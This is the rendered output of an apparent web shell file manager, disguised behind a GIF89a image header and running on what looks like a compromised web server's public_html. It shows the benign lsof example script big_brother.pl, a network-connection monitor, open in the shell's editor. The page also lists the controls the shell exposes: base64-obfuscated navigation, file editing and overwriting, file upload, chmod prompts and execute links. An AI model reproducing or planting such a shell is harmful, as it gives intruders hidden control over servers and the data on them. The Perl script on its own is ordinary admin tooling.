GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>big_brother.pl<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw%3D%3D&f=YmlnX2Jyb3RoZXIucGw%3D"><input name="f" value="big_brother.pl"><textarea name="t">#!/usr/bin/perl -w
#+##############################################################################
#                                                                              #
# File: big_brother.pl                                                         #
#                                                                              #
# Description: check the network sockets with lsof to detect new connections   #
#									       #
# Contributed by Lionel Cons &lt;Lionel.Cons@cern.ch&gt;			       #
#                                                                              #
#-##############################################################################

# @(#)big_brother	1.12 08/14/96 Written by Lionel.Cons@cern.ch

# no waranty! use this at your own risks!

#
# init &amp; setup
#
$verbose = 1;
$lsof_opt = &quot;-itcp -iudp -Di -FcLPn -r 5&quot;;
$SIG{'HUP'} = \&amp;hangup;
chop($hostname = `/bin/hostname`);
$fq_hostname = (gethostbyname($hostname))[0];

# Set path to lsof.

if (($LSOF = &amp;isexec(&quot;../lsof&quot;)) eq &quot;&quot;) {	# Try .. first
    if (($LSOF = &amp;isexec(&quot;lsof&quot;)) eq &quot;&quot;) {	# Then try . and $PATH
	print &quot;can't execute $LSOF\n&quot;; exit 1
    }
}

#
# spy forever...
#
$| = 1;
die &quot;$LSOF is not executable\n&quot; unless -x $LSOF;
while (1) {
    $lsof_pid = open(PIPE, &quot;$LSOF $lsof_opt 2&gt;&amp;1 |&quot;)
	|| die &quot;can't start $LSOF: $!\n&quot;;
    print &quot;# &quot;, &amp;timestamp, &quot; $LSOF $lsof_opt, pid=$lsof_pid\n&quot;
	if $verbose;
    print &quot;#COMMAND     PID     USER P NAME\n&quot;;
    $printed = $hanguped = $pid = $proto = 0;
    while (&lt;PIPE&gt;) {
	if (/^lsof: PID \d+, /) {
	    # fatal error message?
	    print &quot;*** $_&quot;;
	    last;
	} elsif (/^lsof: /) {
	    # warning
	    warn &quot;* $_&quot;;
	} elsif (/^p(\d+)$/) {
	    &amp;flush;
	    $pid = $1;
	    $proto = 0;
	} elsif (/^c(.*)$/) {
	    $command = $1;
	} elsif (/^L(.*)$/) {
	    $user = $1;
	} elsif (/^P(.*)$/) {
	    &amp;flush;
	    $proto = $1;
	} elsif (/^n(.*)$/) {
	    $name = $1;
	    # replace local hostname by 'localhost'
	    $name =~ s/\Q$fq_hostname\E/localhost/g;
	    $name =~ s/[0-9hms]+ ago//g;
	} elsif (/^m$/) {
	    &amp;flush;
	    &amp;clean;
	} else {
	    warn &quot;* bad output ignored: $_&quot;;
	}
    }
    kill('INT',  $lsof_pid);
    kill('KILL', $lsof_pid);
    close(PIPE);
}

sub hangup {
    $hanguped = 1;
    $SIG{'HUP'} = \&amp;hangup;
}

sub flush {
    return unless $pid &amp;&amp; $proto;
    return if &amp;skip;
    $tag = sprintf(&quot;%-9s %5d %8s %1s %s&quot;, $command, $pid, $user,
		   substr($proto, 0, 1), $name);
    unless (defined($seen{$tag})) {
	print &quot;+$tag\n&quot;;
	$printed++;
    }
    $seen{$tag} = 1;
}

sub clean {
    my(@to_delete, $tag);

    if ($hanguped) {
	$hanguped = 0;
	@to_delete = keys(%seen);
	print &quot;# &quot;, &amp;timestamp, &quot; hangup received, rescanning all connections\n&quot;
	    if $verbose;
    } else {
	@to_delete = ();
	foreach $tag (keys(%seen)) {
	    if ($seen{$tag} == 0) {
		# not seen this time: delete it
		push(@to_delete, $tag);
		print &quot;-$tag\n&quot;;
		$printed++;
	    } else {
		# seen this time: reset the flag
		$seen{$tag} = 0;
	    }
	}
    }
    grep(delete($seen{$_}), @to_delete);
    if ($printed &gt; 10) {
	print &quot;# &quot;, &amp;timestamp, &quot;\n&quot; if $verbose;
	$printed = 0;
    }
}

sub skip {
    #
    # put stuff here to ignore some connections, for instance:
    #

    # what we get when the socket gets created...
    return(1) if $name eq '*:0';
    return(1) if $name =~ /^localhost:(\d+)$/ &amp;&amp; $1 &gt; 1000;
#
# UDP &amp; TCP stuff
#
    #
    # ignore common daemons
    #
    if ($name =~ /^\*:/ &amp;&amp; $user eq 'root' &amp;&amp; $pid &lt; 300) {
	return(1) if $command =~ /^inetd(\.afs)?$/;
	return(1) if $command =~ /^rpc\.(stat|lock)d$/;
	return(1) if $command eq 'syslogd' &amp;&amp; $name eq '*:syslog';
    }
    #
    # forking beasts: portmap, ypbind, inetd
    #
    if ($command eq 'portmap' &amp;&amp; $user eq 'daemon') {
	return(1) if $name =~ /^\*:/;
    } elsif ($command eq 'ypbind') {
	return(1) if $name =~ /^\*:\d+$/;
    }
#
# TCP-only stuff
#
    return(0) unless $proto eq 'TCP';
    #
    # outgoing commands: ftp, telnet, r*
    #
    if ($command eq 'ftp') {
	return(1) if $name =~ /:ftp(-data)?$/;
    } elsif ($command eq 'telnet') {
	return(1) if $name =~ /:telnet$/;
    } elsif ($command eq 'remsh') {
	if ($name =~ /:(\d?\d\d\d)-&gt;.+:(\d?\d\d\d)$/) {
	    return(1) if $1 &lt; 1024 &amp;&amp; $1 &gt; 990 &amp;&amp; $2 &lt; 1024 &amp;&amp; $2 &gt; 990;
	} elsif ($name =~ /:(\d?\d\d\d)-&gt;.+:(shell|ta-rauth)$/) {
	    return(1) if $1 &lt; 1024 &amp;&amp; $1 &gt; 990;
	} elsif ($name =~ /^\*:(\d?\d\d\d)$/) {
	    return(1) if $1 &lt; 1024 &amp;&amp; $1 &gt; 990;
	}
    }
    return(0);
}

sub timestamp {
    my($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst);

    ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
    sprintf(&quot;%d/%02d/%02d-%02d:%02d:%02d&quot;, $year + 1900, $mon+1, $mday,
      $hour, $min, $sec);
}


## isexec($path) -- is $path executable
#
# $path   = absolute or relative path to file to test for executabiity.
#	    Paths that begin with neither '/' nor '.' that arent't found as
#	    simple references are also tested with the path prefixes of the
#	    PATH environment variable.

sub
isexec {
    my ($path) = @_;
    my ($i, @P, $PATH);

    $path =~ s/^\s+|\s+$//g;
    if ($path eq &quot;&quot;) { return(&quot;&quot;); }
    if (($path =~ m#^[\/\.]#)) {
	if (-x $path) { return($path); }
	return(&quot;&quot;);
    }
    $PATH = $ENV{PATH};
    @P = split(&quot;:&quot;, $PATH);
    for ($i = 0; $i &lt;= $#P; $i++) {
	if (-x &quot;$P[$i]/$path&quot;) { return(&quot;$P[$i]/$path&quot;); }
    }
    return(&quot;&quot;);
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/lsof/examples<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=MDBNQU5JRkVTVA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=MDBNQU5JRkVTVA=="/>00MANIFEST</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=MDBNQU5JRkVTVA==&c=`+btoa(c):0" value="0644"></td><td>1480</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=MDBSRUFETUU=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=MDBSRUFETUU="/>00README</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=MDBSRUFETUU=&c=`+btoa(c):0" value="0644"></td><td>1766</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=YmlnX2Jyb3RoZXIucGw=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=YmlnX2Jyb3RoZXIucGw="/>big_brother.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=YmlnX2Jyb3RoZXIucGw=&c=`+btoa(c):0" value="0755"></td><td>5402</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=Y291bnRfcGYucGw=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=Y291bnRfcGYucGw="/>count_pf.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=Y291bnRfcGYucGw=&c=`+btoa(c):0" value="0755"></td><td>2020</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=aWRlbnRkLnBs">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=aWRlbnRkLnBs"/>identd.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=aWRlbnRkLnBs&c=`+btoa(c):0" value="0755"></td><td>3300</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=aWRybG9naW4ucGw=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=aWRybG9naW4ucGw="/>idrlogin.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=aWRybG9naW4ucGw=&c=`+btoa(c):0" value="0755"></td><td>5181</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=bGlzdF9OVUxmLnBs">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=bGlzdF9OVUxmLnBs"/>list_NULf.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=bGlzdF9OVUxmLnBs&c=`+btoa(c):0" value="0755"></td><td>5037</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=bGlzdF9maWVsZHMuYXdr">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=bGlzdF9maWVsZHMuYXdr"/>list_fields.awk</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=bGlzdF9maWVsZHMuYXdr&c=`+btoa(c):0" value="0644"></td><td>5828</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=bGlzdF9maWVsZHMucGw=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=bGlzdF9maWVsZHMucGw="/>list_fields.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=bGlzdF9maWVsZHMucGw=&c=`+btoa(c):0" value="0755"></td><td>4532</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=c2hhcmVkLnBs">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=c2hhcmVkLnBs"/>shared.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=c2hhcmVkLnBs&c=`+btoa(c):0" value="0755"></td><td>10493</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=c29ydF9yZXMucGw=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=c29ydF9yZXMucGw="/>sort_res.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=c29ydF9yZXMucGw=&c=`+btoa(c):0" value="0755"></td><td>3703</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=d2F0Y2hfYV9maWxlLnBs">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=d2F0Y2hfYV9maWxlLnBs"/>watch_a_file.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=d2F0Y2hfYV9maWxlLnBs&c=`+btoa(c):0" value="0755"></td><td>2231</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&x=eHVzZXJzLmF3aw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=eHVzZXJzLmF3aw=="/>xusers.awk</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbHNvZi9leGFtcGxlcw==&f=eHVzZXJzLmF3aw==&c=`+btoa(c):0" value="0755"></td><td>3975</td></tr></table>